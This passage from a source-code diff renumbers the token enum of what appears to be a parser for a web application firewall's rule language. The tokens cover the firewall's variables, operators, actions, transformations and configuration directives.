TOK_ACTION_TRANSFORMATION_REMOVE_WHITESPACE = 480, // "ACTION_TRANSFORMATION_REMOVE_WHITESPACE" - TOK_ACTION_TRANSFORMATION_REPLACE_COMMENTS = 481, // "ACTION_TRANSFORMATION_REPLACE_COMMENTS" - TOK_ACTION_TRANSFORMATION_REPLACE_NULLS = 482, // "ACTION_TRANSFORMATION_REPLACE_NULLS" - TOK_ACTION_TRANSFORMATION_SHA1 = 483, // "ACTION_TRANSFORMATION_SHA1" - TOK_ACTION_TRANSFORMATION_SQL_HEX_DECODE = 484, // "ACTION_TRANSFORMATION_SQL_HEX_DECODE" - TOK_ACTION_TRANSFORMATION_TRIM = 485, // "ACTION_TRANSFORMATION_TRIM" - TOK_ACTION_TRANSFORMATION_TRIM_LEFT = 486, // "ACTION_TRANSFORMATION_TRIM_LEFT" - TOK_ACTION_TRANSFORMATION_TRIM_RIGHT = 487, // "ACTION_TRANSFORMATION_TRIM_RIGHT" - TOK_ACTION_TRANSFORMATION_UPPERCASE = 488, // "ACTION_TRANSFORMATION_UPPERCASE" - TOK_ACTION_TRANSFORMATION_URL_ENCODE = 489, // "ACTION_TRANSFORMATION_URL_ENCODE" - TOK_ACTION_TRANSFORMATION_URL_DECODE = 490, // "ACTION_TRANSFORMATION_URL_DECODE" - TOK_ACTION_TRANSFORMATION_URL_DECODE_UNI = 491, // "ACTION_TRANSFORMATION_URL_DECODE_UNI" - TOK_ACTION_TRANSFORMATION_UTF8_TO_UNICODE = 492, // "ACTION_TRANSFORMATION_UTF8_TO_UNICODE" - TOK_ACTION_VER = 493, // "Ver" - TOK_ACTION_XMLNS = 494, // "xmlns" - TOK_CONFIG_COMPONENT_SIG = 495, // "CONFIG_COMPONENT_SIG" - TOK_CONFIG_CONN_ENGINE = 496, // "CONFIG_CONN_ENGINE" - TOK_CONFIG_SEC_ARGUMENT_SEPARATOR = 497, // "CONFIG_SEC_ARGUMENT_SEPARATOR" - TOK_CONFIG_SEC_WEB_APP_ID = 498, // "CONFIG_SEC_WEB_APP_ID" - TOK_CONFIG_SEC_SERVER_SIG = 499, // "CONFIG_SEC_SERVER_SIG" - TOK_CONFIG_DIR_AUDIT_DIR = 500, // "CONFIG_DIR_AUDIT_DIR" - TOK_CONFIG_DIR_AUDIT_DIR_MOD = 501, // "CONFIG_DIR_AUDIT_DIR_MOD" - TOK_CONFIG_DIR_AUDIT_ENG = 502, // "CONFIG_DIR_AUDIT_ENG" - TOK_CONFIG_DIR_AUDIT_FLE_MOD = 503, // "CONFIG_DIR_AUDIT_FLE_MOD" - TOK_CONFIG_DIR_AUDIT_LOG = 504, // "CONFIG_DIR_AUDIT_LOG" - TOK_CONFIG_DIR_AUDIT_LOG2 = 505, // "CONFIG_DIR_AUDIT_LOG2" - TOK_CONFIG_DIR_AUDIT_LOG_P = 506, // "CONFIG_DIR_AUDIT_LOG_P" - TOK_CONFIG_DIR_AUDIT_STS = 507, // "CONFIG_DIR_AUDIT_STS" - TOK_CONFIG_DIR_AUDIT_TPE = 508, // "CONFIG_DIR_AUDIT_TPE" - TOK_CONFIG_DIR_DEBUG_LOG = 509, // "CONFIG_DIR_DEBUG_LOG" - TOK_CONFIG_DIR_DEBUG_LVL = 510, // "CONFIG_DIR_DEBUG_LVL" - TOK_CONFIG_SEC_CACHE_TRANSFORMATIONS = 511, // "CONFIG_SEC_CACHE_TRANSFORMATIONS" - TOK_CONFIG_SEC_DISABLE_BACKEND_COMPRESS = 512, // "CONFIG_SEC_DISABLE_BACKEND_COMPRESS" - TOK_CONFIG_SEC_HASH_ENGINE = 513, // "CONFIG_SEC_HASH_ENGINE" - TOK_CONFIG_SEC_HASH_KEY = 514, // "CONFIG_SEC_HASH_KEY" - TOK_CONFIG_SEC_HASH_PARAM = 515, // "CONFIG_SEC_HASH_PARAM" - TOK_CONFIG_SEC_HASH_METHOD_RX = 516, // "CONFIG_SEC_HASH_METHOD_RX" - TOK_CONFIG_SEC_HASH_METHOD_PM = 517, // "CONFIG_SEC_HASH_METHOD_PM" - TOK_CONFIG_SEC_CHROOT_DIR = 518, // "CONFIG_SEC_CHROOT_DIR" - TOK_CONFIG_DIR_GEO_DB = 519, // "CONFIG_DIR_GEO_DB" - TOK_CONFIG_DIR_GSB_DB = 520, // "CONFIG_DIR_GSB_DB" - TOK_CONFIG_SEC_GUARDIAN_LOG = 521, // "CONFIG_SEC_GUARDIAN_LOG" - TOK_CONFIG_DIR_PCRE_MATCH_LIMIT = 522, // "CONFIG_DIR_PCRE_MATCH_LIMIT" - TOK_CONFIG_DIR_PCRE_MATCH_LIMIT_RECURSION = 523, // "CONFIG_DIR_PCRE_MATCH_LIMIT_RECURSION" - TOK_CONFIG_SEC_CONN_R_STATE_LIMIT = 524, // "CONFIG_SEC_CONN_R_STATE_LIMIT" - TOK_CONFIG_SEC_CONN_W_STATE_LIMIT = 525, // "CONFIG_SEC_CONN_W_STATE_LIMIT" - TOK_CONFIG_SEC_SENSOR_ID = 526, // "CONFIG_SEC_SENSOR_ID" - TOK_CONFIG_DIR_ARGS_LIMIT = 527, // "CONFIG_DIR_ARGS_LIMIT" - TOK_CONFIG_DIR_REQ_BODY_JSON_DEPTH_LIMIT = 528, // "CONFIG_DIR_REQ_BODY_JSON_DEPTH_LIMIT" - TOK_CONFIG_DIR_REQ_BODY = 529, // "CONFIG_DIR_REQ_BODY" - TOK_CONFIG_DIR_REQ_BODY_IN_MEMORY_LIMIT = 530, // "CONFIG_DIR_REQ_BODY_IN_MEMORY_LIMIT" - TOK_CONFIG_DIR_REQ_BODY_LIMIT = 531, // "CONFIG_DIR_REQ_BODY_LIMIT" - TOK_CONFIG_DIR_REQ_BODY_LIMIT_ACTION = 532, // "CONFIG_DIR_REQ_BODY_LIMIT_ACTION" - TOK_CONFIG_DIR_REQ_BODY_NO_FILES_LIMIT = 533, // "CONFIG_DIR_REQ_BODY_NO_FILES_LIMIT" - TOK_CONFIG_DIR_RES_BODY = 534, // "CONFIG_DIR_RES_BODY" - TOK_CONFIG_DIR_RES_BODY_LIMIT = 535, // "CONFIG_DIR_RES_BODY_LIMIT" - TOK_CONFIG_DIR_RES_BODY_LIMIT_ACTION = 536, // "CONFIG_DIR_RES_BODY_LIMIT_ACTION" - TOK_CONFIG_SEC_RULE_INHERITANCE = 537, // "CONFIG_SEC_RULE_INHERITANCE" - TOK_CONFIG_SEC_RULE_PERF_TIME = 538, // "CONFIG_SEC_RULE_PERF_TIME" - TOK_CONFIG_DIR_RULE_ENG = 539, // "CONFIG_DIR_RULE_ENG" - TOK_CONFIG_DIR_SEC_ACTION = 540, // "CONFIG_DIR_SEC_ACTION" - TOK_CONFIG_DIR_SEC_DEFAULT_ACTION = 541, // "CONFIG_DIR_SEC_DEFAULT_ACTION" - TOK_CONFIG_DIR_SEC_MARKER = 542, // "CONFIG_DIR_SEC_MARKER" - TOK_CONFIG_DIR_UNICODE_MAP_FILE = 543, // "CONFIG_DIR_UNICODE_MAP_FILE" - TOK_CONFIG_DIR_UNICODE_CODE_PAGE = 544, // "CONFIG_DIR_UNICODE_CODE_PAGE" - TOK_CONFIG_SEC_COLLECTION_TIMEOUT = 545, // "CONFIG_SEC_COLLECTION_TIMEOUT" - TOK_CONFIG_SEC_HTTP_BLKEY = 546, // "CONFIG_SEC_HTTP_BLKEY" - TOK_CONFIG_SEC_INTERCEPT_ON_ERROR = 547, // "CONFIG_SEC_INTERCEPT_ON_ERROR" - TOK_CONFIG_SEC_REMOTE_RULES_FAIL_ACTION = 548, // "CONFIG_SEC_REMOTE_RULES_FAIL_ACTION" - TOK_CONFIG_SEC_RULE_REMOVE_BY_ID = 549, // "CONFIG_SEC_RULE_REMOVE_BY_ID" - TOK_CONFIG_SEC_RULE_REMOVE_BY_MSG = 550, // "CONFIG_SEC_RULE_REMOVE_BY_MSG" - TOK_CONFIG_SEC_RULE_REMOVE_BY_TAG = 551, // "CONFIG_SEC_RULE_REMOVE_BY_TAG" - TOK_CONFIG_SEC_RULE_UPDATE_TARGET_BY_TAG = 552, // "CONFIG_SEC_RULE_UPDATE_TARGET_BY_TAG" - TOK_CONFIG_SEC_RULE_UPDATE_TARGET_BY_MSG = 553, // "CONFIG_SEC_RULE_UPDATE_TARGET_BY_MSG" - TOK_CONFIG_SEC_RULE_UPDATE_TARGET_BY_ID = 554, // "CONFIG_SEC_RULE_UPDATE_TARGET_BY_ID" - TOK_CONFIG_SEC_RULE_UPDATE_ACTION_BY_ID = 555, // "CONFIG_SEC_RULE_UPDATE_ACTION_BY_ID" - TOK_CONFIG_UPDLOAD_KEEP_FILES = 556, // "CONFIG_UPDLOAD_KEEP_FILES" - TOK_CONFIG_UPDLOAD_SAVE_TMP_FILES = 557, // "CONFIG_UPDLOAD_SAVE_TMP_FILES" - TOK_CONFIG_UPLOAD_DIR = 558, // "CONFIG_UPLOAD_DIR" - TOK_CONFIG_UPLOAD_FILE_LIMIT = 559, // "CONFIG_UPLOAD_FILE_LIMIT" - TOK_CONFIG_UPLOAD_FILE_MODE = 560, // "CONFIG_UPLOAD_FILE_MODE" - TOK_CONFIG_VALUE_ABORT = 561, // "CONFIG_VALUE_ABORT" - TOK_CONFIG_VALUE_DETC = 562, // "CONFIG_VALUE_DETC" - TOK_CONFIG_VALUE_HTTPS = 563, // "CONFIG_VALUE_HTTPS" - TOK_CONFIG_VALUE_OFF = 564, // "CONFIG_VALUE_OFF" - TOK_CONFIG_VALUE_ON = 565, // "CONFIG_VALUE_ON" - TOK_CONFIG_VALUE_PARALLEL = 566, // "CONFIG_VALUE_PARALLEL" - TOK_CONFIG_VALUE_PROCESS_PARTIAL = 567, // "CONFIG_VALUE_PROCESS_PARTIAL" - TOK_CONFIG_VALUE_REJECT = 568, // "CONFIG_VALUE_REJECT" - TOK_CONFIG_VALUE_RELEVANT_ONLY = 569, // "CONFIG_VALUE_RELEVANT_ONLY" - TOK_CONFIG_VALUE_SERIAL = 570, // "CONFIG_VALUE_SERIAL" - TOK_CONFIG_VALUE_WARN = 571, // "CONFIG_VALUE_WARN" - TOK_CONFIG_XML_EXTERNAL_ENTITY = 572, // "CONFIG_XML_EXTERNAL_ENTITY" - TOK_CONGIG_DIR_RESPONSE_BODY_MP = 573, // "CONGIG_DIR_RESPONSE_BODY_MP" - TOK_CONGIG_DIR_SEC_ARG_SEP = 574, // "CONGIG_DIR_SEC_ARG_SEP" - TOK_CONGIG_DIR_SEC_COOKIE_FORMAT = 575, // "CONGIG_DIR_SEC_COOKIE_FORMAT" - TOK_CONFIG_SEC_COOKIEV0_SEPARATOR = 576, // "CONFIG_SEC_COOKIEV0_SEPARATOR" - TOK_CONGIG_DIR_SEC_DATA_DIR = 577, // "CONGIG_DIR_SEC_DATA_DIR" - TOK_CONGIG_DIR_SEC_STATUS_ENGINE = 578, // "CONGIG_DIR_SEC_STATUS_ENGINE" - TOK_CONFIG_SEC_STREAM_IN_BODY_INSPECTION = 579, // "CONFIG_SEC_STREAM_IN_BODY_INSPECTION" - TOK_CONFIG_SEC_STREAM_OUT_BODY_INSPECTION = 580, // "CONFIG_SEC_STREAM_OUT_BODY_INSPECTION" - TOK_CONGIG_DIR_SEC_TMP_DIR = 581, // "CONGIG_DIR_SEC_TMP_DIR" - TOK_DIRECTIVE = 582, // "DIRECTIVE" - TOK_DIRECTIVE_SECRULESCRIPT = 583, // "DIRECTIVE_SECRULESCRIPT" - TOK_FREE_TEXT_QUOTE_MACRO_EXPANSION = 584, // "FREE_TEXT_QUOTE_MACRO_EXPANSION" - TOK_QUOTATION_MARK = 585, // "QUOTATION_MARK" - TOK_RUN_TIME_VAR_BLD = 586, // "RUN_TIME_VAR_BLD" - TOK_RUN_TIME_VAR_DUR = 587, // "RUN_TIME_VAR_DUR" - TOK_RUN_TIME_VAR_HSV = 588, // "RUN_TIME_VAR_HSV" - TOK_RUN_TIME_VAR_REMOTE_USER = 589, // "RUN_TIME_VAR_REMOTE_USER" - TOK_RUN_TIME_VAR_TIME = 590, // "RUN_TIME_VAR_TIME" - TOK_RUN_TIME_VAR_TIME_DAY = 591, // "RUN_TIME_VAR_TIME_DAY" - TOK_RUN_TIME_VAR_TIME_EPOCH = 592, // "RUN_TIME_VAR_TIME_EPOCH" - TOK_RUN_TIME_VAR_TIME_HOUR = 593, // "RUN_TIME_VAR_TIME_HOUR" - TOK_RUN_TIME_VAR_TIME_MIN = 594, // "RUN_TIME_VAR_TIME_MIN" - TOK_RUN_TIME_VAR_TIME_MON = 595, // "RUN_TIME_VAR_TIME_MON" - TOK_RUN_TIME_VAR_TIME_SEC = 596, // "RUN_TIME_VAR_TIME_SEC" - TOK_RUN_TIME_VAR_TIME_WDAY = 597, // "RUN_TIME_VAR_TIME_WDAY" - TOK_RUN_TIME_VAR_TIME_YEAR = 598, // "RUN_TIME_VAR_TIME_YEAR" - TOK_VARIABLE = 599, // "VARIABLE" - TOK_DICT_ELEMENT = 600, // "Dictionary element" - TOK_DICT_ELEMENT_WITH_EQUALS = 601, // "Dictionary element, with equals" - TOK_DICT_ELEMENT_REGEXP = 602 // "Dictionary element, selected by regexp" + TOK_VARIABLE_MULTIPART_FILENAME_CHARSET = 272, // VARIABLE_MULTIPART_FILENAME_CHARSET + TOK_VARIABLE_MULTIPART_FILENAME_LANGUAGE = 273, // VARIABLE_MULTIPART_FILENAME_LANGUAGE + TOK_VARIABLE_MULTIPART_NAME = 274, // VARIABLE_MULTIPART_NAME + TOK_VARIABLE_MATCHED_VARS_NAMES = 275, // VARIABLE_MATCHED_VARS_NAMES + TOK_VARIABLE_MATCHED_VARS = 276, // VARIABLE_MATCHED_VARS + TOK_VARIABLE_FILES = 277, // VARIABLE_FILES + TOK_VARIABLE_REQUEST_COOKIES = 278, // VARIABLE_REQUEST_COOKIES + TOK_VARIABLE_REQUEST_HEADERS = 279, // VARIABLE_REQUEST_HEADERS + TOK_VARIABLE_RESPONSE_HEADERS = 280, // VARIABLE_RESPONSE_HEADERS + TOK_VARIABLE_GEO = 281, // VARIABLE_GEO + TOK_VARIABLE_REQUEST_COOKIES_NAMES = 282, // VARIABLE_REQUEST_COOKIES_NAMES + TOK_VARIABLE_MULTIPART_PART_HEADERS = 283, // VARIABLE_MULTIPART_PART_HEADERS + TOK_VARIABLE_ARGS_COMBINED_SIZE = 284, // VARIABLE_ARGS_COMBINED_SIZE + TOK_VARIABLE_ARGS_GET_NAMES = 285, // VARIABLE_ARGS_GET_NAMES + TOK_VARIABLE_RULE = 286, // VARIABLE_RULE + TOK_VARIABLE_ARGS_NAMES = 287, // "Variable ARGS_NAMES" + TOK_VARIABLE_ARGS_POST_NAMES = 288, // VARIABLE_ARGS_POST_NAMES + TOK_VARIABLE_AUTH_TYPE = 289, // "AUTH_TYPE" + TOK_VARIABLE_FILES_COMBINED_SIZE = 290, // "FILES_COMBINED_SIZE" + TOK_VARIABLE_FILES_TMP_NAMES = 291, // "FILES_TMPNAMES" + TOK_VARIABLE_FULL_REQUEST = 292, // "FULL_REQUEST" + TOK_VARIABLE_FULL_REQUEST_LENGTH = 293, // "FULL_REQUEST_LENGTH" + TOK_VARIABLE_INBOUND_DATA_ERROR = 294, // "INBOUND_DATA_ERROR" + TOK_VARIABLE_MATCHED_VAR = 295, // "MATCHED_VAR" + TOK_VARIABLE_MATCHED_VAR_NAME = 296, // "MATCHED_VAR_NAME" + TOK_VARIABLE_MSC_PCRE_ERROR = 297, // "MSC_PCRE_ERROR" + TOK_VARIABLE_MSC_PCRE_LIMITS_EXCEEDED = 298, // "MSC_PCRE_LIMITS_EXCEEDED" + TOK_VARIABLE_MULTIPART_BOUNDARY_QUOTED = 299, // VARIABLE_MULTIPART_BOUNDARY_QUOTED + TOK_VARIABLE_MULTIPART_BOUNDARY_WHITESPACE = 300, // VARIABLE_MULTIPART_BOUNDARY_WHITESPACE + TOK_VARIABLE_MULTIPART_CRLF_LF_LINES = 301, // "MULTIPART_CRLF_LF_LINES" + TOK_VARIABLE_MULTIPART_DATA_AFTER = 302, // "MULTIPART_DATA_AFTER" + TOK_VARIABLE_MULTIPART_DATA_BEFORE = 303, // VARIABLE_MULTIPART_DATA_BEFORE + TOK_VARIABLE_MULTIPART_DUPLICATE_PART_HEADER = 304, // "MULTIPART_DUPLICATE_PART_HEADER" + TOK_VARIABLE_MULTIPART_FILE_LIMIT_EXCEEDED = 305, // "MULTIPART_FILE_LIMIT_EXCEEDED" + TOK_VARIABLE_MULTIPART_HEADER_FOLDING = 306, // "MULTIPART_HEADER_FOLDING" + TOK_VARIABLE_MULTIPART_INVALID_HEADER_FOLDING = 307, // "MULTIPART_INVALID_HEADER_FOLDING" + TOK_VARIABLE_MULTIPART_INVALID_PART = 308, // VARIABLE_MULTIPART_INVALID_PART + TOK_VARIABLE_MULTIPART_INVALID_QUOTING = 309, // "MULTIPART_INVALID_QUOTING" + TOK_VARIABLE_MULTIPART_LF_LINE = 310, // VARIABLE_MULTIPART_LF_LINE + TOK_VARIABLE_MULTIPART_MISSING_SEMICOLON = 311, // VARIABLE_MULTIPART_MISSING_SEMICOLON + TOK_VARIABLE_MULTIPART_SEMICOLON_MISSING = 312, // VARIABLE_MULTIPART_SEMICOLON_MISSING + TOK_VARIABLE_MULTIPART_STRICT_ERROR = 313, // "MULTIPART_STRICT_ERROR" + TOK_VARIABLE_MULTIPART_UNMATCHED_BOUNDARY = 314, // "MULTIPART_UNMATCHED_BOUNDARY" + TOK_VARIABLE_OUTBOUND_DATA_ERROR = 315, // "OUTBOUND_DATA_ERROR" + TOK_VARIABLE_PATH_INFO = 316, // "PATH_INFO" + TOK_VARIABLE_QUERY_STRING = 317, // "QUERY_STRING" + TOK_VARIABLE_REMOTE_ADDR = 318, // "REMOTE_ADDR" + TOK_VARIABLE_REMOTE_HOST = 319, // "REMOTE_HOST" + TOK_VARIABLE_REMOTE_PORT = 320, // "REMOTE_PORT" + TOK_VARIABLE_REQBODY_ERROR_MSG = 321, // "REQBODY_ERROR_MSG" + TOK_VARIABLE_REQBODY_ERROR = 322, // "REQBODY_ERROR" + TOK_VARIABLE_REQBODY_PROCESSOR_ERROR_MSG = 323, // "REQBODY_PROCESSOR_ERROR_MSG" + TOK_VARIABLE_REQBODY_PROCESSOR_ERROR = 324, // "REQBODY_PROCESSOR_ERROR" + TOK_VARIABLE_REQBODY_PROCESSOR = 325, // "REQBODY_PROCESSOR" + TOK_VARIABLE_REQUEST_BASENAME = 326, // "REQUEST_BASENAME" + TOK_VARIABLE_REQUEST_BODY_LENGTH = 327, // "REQUEST_BODY_LENGTH" + TOK_VARIABLE_REQUEST_BODY = 328, // "REQUEST_BODY" + TOK_VARIABLE_REQUEST_FILE_NAME = 329, // "REQUEST_FILENAME" + TOK_VARIABLE_REQUEST_HEADERS_NAMES = 330, // VARIABLE_REQUEST_HEADERS_NAMES + TOK_VARIABLE_REQUEST_LINE = 331, // "REQUEST_LINE" + TOK_VARIABLE_REQUEST_METHOD = 332, // "REQUEST_METHOD" + TOK_VARIABLE_REQUEST_PROTOCOL = 333, // "REQUEST_PROTOCOL" + TOK_VARIABLE_REQUEST_URI_RAW = 334, // "REQUEST_URI_RAW" + TOK_VARIABLE_REQUEST_URI = 335, // "REQUEST_URI" + TOK_VARIABLE_RESOURCE = 336, // "RESOURCE" + TOK_VARIABLE_RESPONSE_BODY = 337, // "RESPONSE_BODY" + TOK_VARIABLE_RESPONSE_CONTENT_LENGTH = 338, // "RESPONSE_CONTENT_LENGTH" + TOK_VARIABLE_RESPONSE_CONTENT_TYPE = 339, // VARIABLE_RESPONSE_CONTENT_TYPE + TOK_VARIABLE_RESPONSE_HEADERS_NAMES = 340, // VARIABLE_RESPONSE_HEADERS_NAMES + TOK_VARIABLE_RESPONSE_PROTOCOL = 341, // "RESPONSE_PROTOCOL" + TOK_VARIABLE_RESPONSE_STATUS = 342, // "RESPONSE_STATUS" + TOK_VARIABLE_SERVER_ADDR = 343, // "SERVER_ADDR" + TOK_VARIABLE_SERVER_NAME = 344, // "SERVER_NAME" + TOK_VARIABLE_SERVER_PORT = 345, // "SERVER_PORT" + TOK_VARIABLE_SESSION_ID = 346, // "SESSIONID" + TOK_VARIABLE_UNIQUE_ID = 347, // "UNIQUE_ID" + TOK_VARIABLE_URL_ENCODED_ERROR = 348, // "URLENCODED_ERROR" + TOK_VARIABLE_USER_ID = 349, // "USERID" + TOK_VARIABLE_WEB_APP_ID = 350, // "WEBAPPID" + TOK_VARIABLE_STATUS = 351, // "VARIABLE_STATUS" + TOK_VARIABLE_STATUS_LINE = 352, // "VARIABLE_STATUS_LINE" + TOK_VARIABLE_IP = 353, // "VARIABLE_IP" + TOK_VARIABLE_GLOBAL = 354, // "VARIABLE_GLOBAL" + TOK_VARIABLE_TX = 355, // "VARIABLE_TX" + TOK_VARIABLE_SESSION = 356, // "VARIABLE_SESSION" + TOK_VARIABLE_USER = 357, // "VARIABLE_USER" + TOK_RUN_TIME_VAR_ENV = 358, // "RUN_TIME_VAR_ENV" + TOK_RUN_TIME_VAR_XML = 359, // "RUN_TIME_VAR_XML" + TOK_ACTION_SETVAR = 360, // "SetVar" + TOK_SETVAR_OPERATION_EQUALS = 361, // SETVAR_OPERATION_EQUALS + TOK_SETVAR_OPERATION_EQUALS_PLUS = 362, // SETVAR_OPERATION_EQUALS_PLUS + TOK_SETVAR_OPERATION_EQUALS_MINUS = 363, // SETVAR_OPERATION_EQUALS_MINUS + TOK_NOT = 364, // "NOT" + TOK_OPERATOR_BEGINS_WITH = 365, // "OPERATOR_BEGINS_WITH" + TOK_OPERATOR_CONTAINS = 366, // "OPERATOR_CONTAINS" + TOK_OPERATOR_CONTAINS_WORD = 367, // "OPERATOR_CONTAINS_WORD" + TOK_OPERATOR_DETECT_SQLI = 368, // "OPERATOR_DETECT_SQLI" + TOK_OPERATOR_DETECT_XSS = 369, // "OPERATOR_DETECT_XSS" + TOK_OPERATOR_ENDS_WITH = 370, // "OPERATOR_ENDS_WITH" + TOK_OPERATOR_EQ = 371, // "OPERATOR_EQ" + TOK_OPERATOR_FUZZY_HASH = 372, // "OPERATOR_FUZZY_HASH" + TOK_OPERATOR_GEOLOOKUP = 373, // "OPERATOR_GEOLOOKUP" + TOK_OPERATOR_GE = 374, // "OPERATOR_GE" + TOK_OPERATOR_GSB_LOOKUP = 375, // "OPERATOR_GSB_LOOKUP" + TOK_OPERATOR_GT = 376, // "OPERATOR_GT" + TOK_OPERATOR_INSPECT_FILE = 377, // "OPERATOR_INSPECT_FILE" + TOK_OPERATOR_IP_MATCH_FROM_FILE = 378, // "OPERATOR_IP_MATCH_FROM_FILE" + TOK_OPERATOR_IP_MATCH = 379, // "OPERATOR_IP_MATCH" + TOK_OPERATOR_LE = 380, // "OPERATOR_LE" + TOK_OPERATOR_LT = 381, // "OPERATOR_LT" + TOK_OPERATOR_PM_FROM_FILE = 382, // "OPERATOR_PM_FROM_FILE" + TOK_OPERATOR_PM = 383, // "OPERATOR_PM" + TOK_OPERATOR_RBL = 384, // "OPERATOR_RBL" + TOK_OPERATOR_RSUB = 385, // "OPERATOR_RSUB" + TOK_OPERATOR_RX_CONTENT_ONLY = 386, // "Operator RX (content only)" + TOK_OPERATOR_RX = 387, // "OPERATOR_RX" + TOK_OPERATOR_RX_GLOBAL = 388, // "OPERATOR_RX_GLOBAL" + TOK_OPERATOR_STR_EQ = 389, // "OPERATOR_STR_EQ" + TOK_OPERATOR_STR_MATCH = 390, // "OPERATOR_STR_MATCH" + TOK_OPERATOR_UNCONDITIONAL_MATCH = 391, // "OPERATOR_UNCONDITIONAL_MATCH" + TOK_OPERATOR_VALIDATE_BYTE_RANGE = 392, // "OPERATOR_VALIDATE_BYTE_RANGE" + TOK_OPERATOR_VALIDATE_DTD = 393, // "OPERATOR_VALIDATE_DTD" + TOK_OPERATOR_VALIDATE_HASH = 394, // "OPERATOR_VALIDATE_HASH" + TOK_OPERATOR_VALIDATE_SCHEMA = 395, // "OPERATOR_VALIDATE_SCHEMA" + TOK_OPERATOR_VALIDATE_URL_ENCODING = 396, // "OPERATOR_VALIDATE_URL_ENCODING" + TOK_OPERATOR_VALIDATE_UTF8_ENCODING = 397, // "OPERATOR_VALIDATE_UTF8_ENCODING" + TOK_OPERATOR_VERIFY_CC = 398, // "OPERATOR_VERIFY_CC" + TOK_OPERATOR_VERIFY_CPF = 399, // "OPERATOR_VERIFY_CPF" + TOK_OPERATOR_VERIFY_SSN = 400, // "OPERATOR_VERIFY_SSN" + TOK_OPERATOR_VERIFY_SVNR = 401, // "OPERATOR_VERIFY_SVNR" + TOK_OPERATOR_WITHIN = 402, // "OPERATOR_WITHIN" + TOK_CONFIG_DIR_AUDIT_LOG_FMT = 403, // CONFIG_DIR_AUDIT_LOG_FMT + TOK_JSON = 404, // JSON + TOK_NATIVE = 405, // NATIVE + TOK_ACTION_CTL_RULE_ENGINE = 406, // "ACTION_CTL_RULE_ENGINE" + TOK_ACTION_ACCURACY = 407, // "Accuracy" + TOK_ACTION_ALLOW = 408, // "Allow" + TOK_ACTION_APPEND = 409, // "Append" + TOK_ACTION_AUDIT_LOG = 410, // "AuditLog" + TOK_ACTION_BLOCK = 411, // "Block" + TOK_ACTION_CAPTURE = 412, // "Capture" + TOK_ACTION_CHAIN = 413, // "Chain" + TOK_ACTION_CTL_AUDIT_ENGINE = 414, // "ACTION_CTL_AUDIT_ENGINE" + TOK_ACTION_CTL_AUDIT_LOG_PARTS = 415, // "ACTION_CTL_AUDIT_LOG_PARTS" + TOK_ACTION_CTL_BDY_JSON = 416, // "ACTION_CTL_BDY_JSON" + TOK_ACTION_CTL_BDY_XML = 417, // "ACTION_CTL_BDY_XML" + TOK_ACTION_CTL_BDY_URLENCODED = 418, // "ACTION_CTL_BDY_URLENCODED" + TOK_ACTION_CTL_FORCE_REQ_BODY_VAR = 419, // "ACTION_CTL_FORCE_REQ_BODY_VAR" + TOK_ACTION_CTL_PARSE_XML_INTO_ARGS = 420, // "ACTION_CTL_PARSE_XML_INTO_ARGS" + TOK_ACTION_CTL_REQUEST_BODY_ACCESS = 421, // "ACTION_CTL_REQUEST_BODY_ACCESS" + TOK_ACTION_CTL_RULE_REMOVE_BY_ID = 422, // "ACTION_CTL_RULE_REMOVE_BY_ID" + TOK_ACTION_CTL_RULE_REMOVE_BY_TAG = 423, // "ACTION_CTL_RULE_REMOVE_BY_TAG" + TOK_ACTION_CTL_RULE_REMOVE_TARGET_BY_ID = 424, // "ACTION_CTL_RULE_REMOVE_TARGET_BY_ID" + TOK_ACTION_CTL_RULE_REMOVE_TARGET_BY_TAG = 425, // "ACTION_CTL_RULE_REMOVE_TARGET_BY_TAG" + TOK_ACTION_DENY = 426, // "Deny" + TOK_ACTION_DEPRECATE_VAR = 427, // "DeprecateVar" + TOK_ACTION_DROP = 428, // "Drop" + TOK_ACTION_EXEC = 429, // "Exec" + TOK_ACTION_EXPIRE_VAR = 430, // "ExpireVar" + TOK_ACTION_ID = 431, // "Id" + TOK_ACTION_INITCOL = 432, // "InitCol" + TOK_ACTION_LOG = 433, // "Log" + TOK_ACTION_LOG_DATA = 434, // "LogData" + TOK_ACTION_MATURITY = 435, // "Maturity" + TOK_ACTION_MSG = 436, // "Msg" + TOK_ACTION_MULTI_MATCH = 437, // "MultiMatch" + TOK_ACTION_NO_AUDIT_LOG = 438, // "NoAuditLog" + TOK_ACTION_NO_LOG = 439, // "NoLog" + TOK_ACTION_PASS = 440, // "Pass" + TOK_ACTION_PAUSE = 441, // "Pause" + TOK_ACTION_PHASE = 442, // "Phase" + TOK_ACTION_PREPEND = 443, // "Prepend" + TOK_ACTION_PROXY = 444, // "Proxy" + TOK_ACTION_REDIRECT = 445, // "Redirect" + TOK_ACTION_REV = 446, // "Rev" + TOK_ACTION_SANITISE_ARG = 447, // "SanitiseArg" + TOK_ACTION_SANITISE_MATCHED = 448, // "SanitiseMatched" + TOK_ACTION_SANITISE_MATCHED_BYTES = 449, // "SanitiseMatchedBytes" + TOK_ACTION_SANITISE_REQUEST_HEADER = 450, // "SanitiseRequestHeader" + TOK_ACTION_SANITISE_RESPONSE_HEADER = 451, // "SanitiseResponseHeader" + TOK_ACTION_SETENV = 452, // "SetEnv" + TOK_ACTION_SETRSC = 453, // "SetRsc" + TOK_ACTION_SETSID = 454, // "SetSid" + TOK_ACTION_SETUID = 455, // "SetUID" + TOK_ACTION_SEVERITY = 456, // "Severity" + TOK_ACTION_SKIP = 457, // "Skip" + TOK_ACTION_SKIP_AFTER = 458, // "SkipAfter" + TOK_ACTION_STATUS = 459, // "Status" + TOK_ACTION_TAG = 460, // "Tag" + TOK_ACTION_TRANSFORMATION_BASE_64_ENCODE = 461, // "ACTION_TRANSFORMATION_BASE_64_ENCODE" + TOK_ACTION_TRANSFORMATION_BASE_64_DECODE = 462, // "ACTION_TRANSFORMATION_BASE_64_DECODE" + TOK_ACTION_TRANSFORMATION_BASE_64_DECODE_EXT = 463, // "ACTION_TRANSFORMATION_BASE_64_DECODE_EXT" + TOK_ACTION_TRANSFORMATION_CMD_LINE = 464, // "ACTION_TRANSFORMATION_CMD_LINE" + TOK_ACTION_TRANSFORMATION_COMPRESS_WHITESPACE = 465, // "ACTION_TRANSFORMATION_COMPRESS_WHITESPACE" + TOK_ACTION_TRANSFORMATION_CSS_DECODE = 466, // "ACTION_TRANSFORMATION_CSS_DECODE" + TOK_ACTION_TRANSFORMATION_ESCAPE_SEQ_DECODE = 467, // "ACTION_TRANSFORMATION_ESCAPE_SEQ_DECODE" + TOK_ACTION_TRANSFORMATION_HEX_ENCODE = 468, // "ACTION_TRANSFORMATION_HEX_ENCODE" + TOK_ACTION_TRANSFORMATION_HEX_DECODE = 469, // "ACTION_TRANSFORMATION_HEX_DECODE" + 